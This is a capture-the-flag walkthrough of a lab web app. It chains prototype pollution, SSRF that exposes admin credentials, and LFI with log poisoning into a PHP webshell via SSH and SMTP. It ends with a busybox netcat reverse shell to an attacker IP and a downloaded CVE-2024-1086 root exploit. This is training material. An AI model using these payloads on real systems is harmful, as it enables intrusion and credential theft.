Include
Use your server exploitation skills to take control of a web app.
This work by Manav G Krishna is licensed under CC BY-NC 4.0
Machine IP
: 10.10.147.179
Hosts file entry
: echo '10.10.147.179 include.thm' | sudo tee -a /etc/hosts
Nmap Scan
:
nmap -p- -A -v --min-rate 100 -oN include_thm -Pn include.thm
Nmap scan report for include.thm (10.10.147.179)
Host is up (0.16s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a6:d8:1b:5d:41:12:20:65:ef:2d:64:7f:c9:54:02:a5 (RSA)
| 256 35:42:b2:ff:b5:e2:83:40:eb:14:d1:1b:9b:8e:ee:90 (ECDSA)
|_ 256 76:75:5c:a8:63:b4:2b:d7:59:51:36:8a:2b:f9:59:23 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after: 2031-11-08T16:53:34
| MD5: 05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
110/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after: 2031-11-08T16:53:34
| MD5: 05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL UIDL STLS AUTH-RESP-CODE PIPELINING CAPA TOP RESP-CODES
143/tcp open imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after: 2031-11-08T16:53:34
| MD5: 05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more LOGINDISABLEDA0001 have SASL-IR Pre-login IDLE LITERAL+ listed post-login STARTTLS OK capabilities LOGIN-REFERRALS ID IMAP4rev1 ENABLE
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after: 2031-11-08T16:53:34
| MD5: 05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_imap-capabilities: more have AUTH=LOGINA0001 SASL-IR Pre-login IMAP4rev1 LITERAL+ listed post-login OK IDLE capabilities LOGIN-REFERRALS ID AUTH=PLAIN ENABLE
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after: 2031-11-08T16:53:34
| MD5: 05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN LOGIN) UIDL PIPELINING AUTH-RESP-CODE USER CAPA TOP RESP-CODES
4000/tcp open http Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Sign In
50000/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/3%OT=22%CT=1%CU=44147%PV=Y%DS=2%DC=T%G=Y%TM=665E0
OS:60C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10A%TI=
OS:Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104
OS:%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=
OS:M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4
OS:B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 13.190 days (since Tue May 21 19:02:26 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 157.19 ms 10.11.0.1
2 157.40 ms include.thm (10.10.147.179)
From the scan we can see that port 4000
and 50000
have web services
running on them and also there is a host
named mail.filepath.lab
.
Checking out port 4000
:

We can now do some directory busting
:
Command
:
dirsearch -u http://include.thm:4000/

The /signin
path is the same as the root
of the website.
Now let us check out 50000
.
Checking out port 50000
:

We have a Login
page too:

We can go ahead and directory bust
this site:
Command
:
dirsearch -u http://include.thm:50000/


At the moment we are on the /login.php
, we also have a /dashboard.php
& a /profile.php
that we would be able to access once we manage to login
to the SysMon
portal. There is a /uploads
& a /templates
path too.
The /uploads
path:

The /templates
path:

There is nothing interesting in these paths.
We can now go back to exploring port 4000
:


We can check out our profile by clicking on View Profile
.
We have an entry that says: isAdmin: false
and also we have an option to recommend an activity:


Now we can try to set the isAdmin
to true
by recomending it is an activity:

Upon clicking on Recommend Activity
we notice these changes:

The isAdmin
value is now set to true
, which means we have made ourselves an admin
. Doing so also gave us two
new options on the website that wasn't there before by default, that is API
& Settings
.
What we did here is Prototype Pollution
. Prototype Pollution is a critical vulnerability that can allow attackers to manipulate an application's JavaScript objects
and properties
, leading to serious security issues such as unauthorized access to data, privilege escalation, and even remote code execution.
In this case from the Nmap Scan
we know that the server
running on port 4000
, is Node.js
. So the server-side code
running on the application is obviously JavaScript
. If user inputs are directly merged into objects without sanitization, it leads to modification of prototypes
and this is what we did above.
Checking out the API option
:
We are presented with an API Dashboard
and it says a GET request
to this endpoint: http://127.0.0.1:5000/getAllAdmins101099991
will give us a response like this:
{
"ReviewAppUsername": "admin",
"ReviewAppPassword": "xxxxxx",
"SysMonAppUsername": "administrator",
"SysMonAppPassword": "xxxxxxxxx",
}
We get the SysMon portal
password
and it says the username is administrator
. Once we get the password we would be able to login to the portal on port 50000
:

But the request has to be sent to the machine's localhost
on port 5000
.
Let us now check out the Settings
option:

It lets us update
the banner image
.
We can now try putting this as the URL
: http://127.0.0.1:5000/getAllAdmins101099991
to see what we are presented with post clicking on Update Banner Image
:


It gave us this base64 encoded
string:
eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0=
Decoding it
:
Command
:
echo -n eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0= | base64 -d

We have now got the SysMonAppPassword
.
What we just did is nothing but SSRF
. Server-Side Request Forgery (SSRF)
is a vulnerability where an attacker can make a server-side application
send requests
to an unintended location. This can lead to fetching the internal resources
which is typically inaccessible from outside the serverโs internal network, potentially exposing sensitive information
.
In this case we were able to reach out to those API endpoints
via an external input
.
Logging in to the portal on port 50000
:


The first flag
can be found here. We are on the /dashboard.php
endpoint now.
From the initial directory busting that we did for the 50000
port, we also had a /profile.php
endpoint. Let us start by checking out the source code
of the dashboard page:

The /profile.php
endpoint is being referred to in the source code.
We can now check it out:

The URL
:
http://include.thm:50000/profile.php?img=profile.png
There is a parameter
named img
. By looking at this the first thing that comes to our mind is LFI (Local File Inclusion)
.
We can try to automate
the process of exploiting the vulnerability by using wfuzz
.
The wordlist
that we will be using:
This is a really common
and famous wordlist
that gives us valid hits in most of the cases.
Using wfuzz to find LFI
:
Command
:
wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b "PHPSESSID=l5s8qnq3s84p0i4h2f1lcg5glj" http://include.thm:50000/profile.php\?img\=FUZZ
Switches
explanation:
-c: Output with colors
-z file: Wordlist
-b: Cookie
Since the site we are fuzzing
is behind a login
, using the cookie
in the wfuzz
command plays a crucial role as this is how the server knows that the requests
coming from the tool
are authenticated
.
To fetch the cookie we can Inspect
the page and under Storage
is where we find it:

The tool injects payloads
at the position where the FUZZ keyword
is placed.

And we have got successful
hits, a few of them are:



The moment we see different values in the Lines
, Words
& the Chars
columns, that is how we know the payload
is valid
.
One
out of the bunch of valid payloads
:
....//....//....//....//....//....//....//....//....//etc/passwd
Let us give this a try:
The URL
:
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//etc/passwd


It worked!!
Now since we have LFI
, this can be converted to an RCE (Remote Code Execution)
LFI to RCE
:
Method 1: LFI to RCE via Log Poisoning
A blog
that we can check out:
Common log files in Linux
:

The /var/log/auth.log
log file is used by various authentication services, including SSH
.
Logs related to SSH
activities, such as session starts, stops, authentication attempts etc., will be logged
.
We can now traverse
to the log file:
The payload
:
....//....//....//....//....//....//....//....//....//var/log/auth.log
The URL
:
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log


Now we can try to make fake attempts
to login via SSH
and this should be getting logged
in the auth.log
file:


It is indeed getting logged
as expected.
Now, we can try to insert a PHP payload
as the user
in the SSH
command. This too, should get logged
just like the fake
SSH
logins we did earlier with the user test
.
The payload
:
<?php echo shell_exec($_GET['cmd']); ?>
Command
:
ssh '<?php echo shell_exec($_GET['cmd']); ?>'@include.thm

Unfortunately this doesn't work as this has been patched in the latest versions of SSH
. We get the error: remote username contains invalid characters
.
Note
:
I had come across a question asked in Stack Overflow
based on the above error and an answer mentioned that we could use Hydra
to perform the poisoning
successfully.
Using Hydra to achieve RCE via the SSH protocol
:
The logic here too remains the same as above, we can insert a PHP payload
as the value for the -l
switch of Hydra
which is nothing but the login username
and since we are are using it against the SSH
service, that too will get logged in the auth.log
file and this would lead to RCE
.
Command
:
hydra -l '<?php echo shell_exec($_GET['cmd']); ?>' -p test include.thm ssh -V

Now let us check out the log
file:

It has been logged
.
Now we should have RCE
, running ifconfig
:
The URL
:
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log&cmd=ifconfig

It worked!!
Method 2: LFI to RCE via MAIL (SMTP)
:
Common log
files in Linux
:

Since we have SMTP
open, we can send a mail
to test if it is getting logged
. It should be getting logged as all email related activities are logged in the /var/log/mail.log
file.
The payload
:
....//....//....//....//....//....//....//....//....//var/log/mail.log
The URL
:
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log
Manual Exploitation
:
We can send a test email
by connecting to port 25
(SMTP
):

And indeed it is getting logged
as expected:

Now we can put a PHP
payload in mail from/rcpt to
and this would get logged too, which would lead to RCE
:

We get this error: 501 5.1.7 Bad sender address syntax
.
But let us check if it got logged
:

And it did get logged
.
Using ifconfig
to check if RCE
works:
The URL
:
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=ifconfig


It did work and we have got the output
of the ifconfig
command. Now we can run ls -la
and we will be able to see the second flag
and the same can be cat
ed out via the webshell
itself.

Use - cat 505eb0fb8a9f32853b4d955e1f9123ea.txt
:

Using swaks tool to send the mail to achieve RCE
:
Note
:
I will be showing this post terminating
the machine. This way we are making sure we start on a fresh
machine and by doing so the webshell
that we got from manual exploitation
, won't even be in the picture. Make sure to update
the hosts
file entry with the new IP
.
We now have nothing logged in the /var/log/mail.log
:

Now we can use swaks
:
Command
:
swaks --to '<?php echo shell_exec($_GET['cmd']); ?>'@test.com --from test@test.com --server include.thm --body "test"

Checking the log
file:

It has got logged
.
Now onto the RCE
yet again:

We have got the output of ifconfig
.
We can also use this PHP payload
to get RCE
via SMTP
:
The payload
:
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

Using a reverse shell in the webshell
:
Command
:
busybox nc 10.11.89.39 443 -e sh //The IP here is the tun0 interface IP

Setting up a listener on port 443
:

The URL
:
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=busybox nc 10.11.89.39 443 -e sh

We indeed get the connection
.
Now we can upgrade the shell
a little by running this:
Command
:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation via CVE-2024-1086 (Optional)
:

The kernel
on the machine is 5.15.0-1055-aws
.
Command
:
uname -r

The machine is most likely vulnerable
.
Downloading the exploit from the Releases
section in GitHub
:


Sending it to the target machine
post setting up a python server
:


Command
:
wget http://10.11.89.39:4545/exploit //The IP here is the tun0 interface IP

Setting it as an executable
and running
it:

We are root
.
Room solved!!
Last updated